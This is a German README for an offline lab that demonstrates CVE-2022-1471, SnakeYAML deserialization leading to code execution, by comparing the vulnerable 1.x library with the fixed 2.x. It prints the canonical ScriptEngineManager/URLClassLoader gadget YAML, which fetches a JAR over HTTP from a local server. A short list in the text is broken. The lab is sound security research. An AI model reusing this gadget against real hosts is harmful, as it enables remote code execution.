
Offlines CVE-2022-1471-Lab: Unsicheres Deserialisieren in SnakeYAML bis hin zu RCE; vergleicht die verwundbare Version 1.x mit der behobenen 2.x mithilfe eines harmlosen lokalen Payloads.
Offline, in sich geschlossenes Labor, das den Mechanismus hinter CVE-2022-1471 (unsichere SnakeYAML-Deserialisierung → RCE, CVSS 9.8) nachweist, wie er in dem Befund zu Jira / Jira Service Management gegen einen Host mit 9.4.9 eingesetzt wurde (betroffener Bereich 9.4.0–9.4.12, behoben in 9.4.14 — siehe Atlassian JSDSERVER-14906).
Das Labor demonstriert genau zwei Dinge:
ConstructorException) — nichts wird
ausgeführt.Es wird kein echter Host angegriffen. Alles läuft auf 127.0.0.1; das
Payload (src/Exploit.java) ist harmlos — sein statischer Initialisierer
schreibt genau eine Textdatei und sonst nichts.
./run.sh
cat PWNED-proof.txt # on-disk proof of execution (regenerated each run)
Erfordert ein JDK 17+ im PATH (javac, java, jar). Wenn ein gebündeltes
JDK unter tools/ vorhanden ist, wird es stattdessen verwendet. Der einzige
Netzwerkverkehr ist ein lokaler HTTP-Server auf 127.0.0.1:8077, der das
Payload-JAR ausliefert und beim Beenden gestoppt wird.
src/VulnDemo.java ist nichts weiter als ein new Yaml().load(yaml) —
derselbe unsichere Aufruf, den die verwundbaren Automation-for-Jira-Versionen
bei importiertem Regel-YAML tätigen. Das Angreifer-YAML ist das kanonische
Gadget:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8077/payload.jar"]
]]
]
SnakeYAML 1.x instanziiert beliebige Klassen ohne Allowlist → die JVM ruft
eine Klasse vom „Angreifer“-Server ab und lädt sie → ihr statischer
Initialisierer wird ausgeführt. SnakeYAML 2.x verwendet standardmäßig
SafeConstructor, der das globale Tag ablehnt.
sample-output-PWNED-proof.txt zeigt den Inhalt der Markierungsdatei aus
einem Lauf; screenshots/ zeigt beide Läufe (verwundbar vs. behoben).
Autorisierte Sicherheitsforschung. Nur ein Nachweis des Bibliotheksmechanismus und der Grenze des Fixes — kein Exploit gegen ein Produktionssystem. Die Ausnutzung des Jira-Vektors erfordert zusätzlich den authentifizierten Import (Jira-Administrator) einer Automationsregel.